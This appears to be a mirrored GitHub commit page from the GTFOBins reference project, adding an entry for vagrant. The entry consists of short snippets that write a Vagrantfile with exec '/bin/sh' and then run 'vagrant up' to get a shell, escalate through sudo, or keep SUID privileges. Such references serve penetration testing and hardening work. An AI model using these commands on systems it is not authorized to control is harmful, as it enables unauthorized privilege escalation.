1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-08 07:49:17 +01:00

Add vagrant

This commit is contained in:
Andrea Cardaci 2023-04-13 08:34:25 +02:00 committed by GitHub
commit c2bbbd699d
Signed by: GitHub
GPG Key ID: 4AEE18F83AFDEB23

20
_gtfobins/vagrant.md Normal file

@ -0,0 +1,20 @@
---
description: This allows to execute [`ruby`](/gtfobins/ruby/) code, other functions may apply.
functions:
shell:
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh"' > Vagrantfile
vagrant up
sudo:
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh"' > Vagrantfile
vagrant up
suid:
- code: |
cd $(mktemp -d)
echo 'exec "/bin/sh -p"' > Vagrantfile
vagrant up
---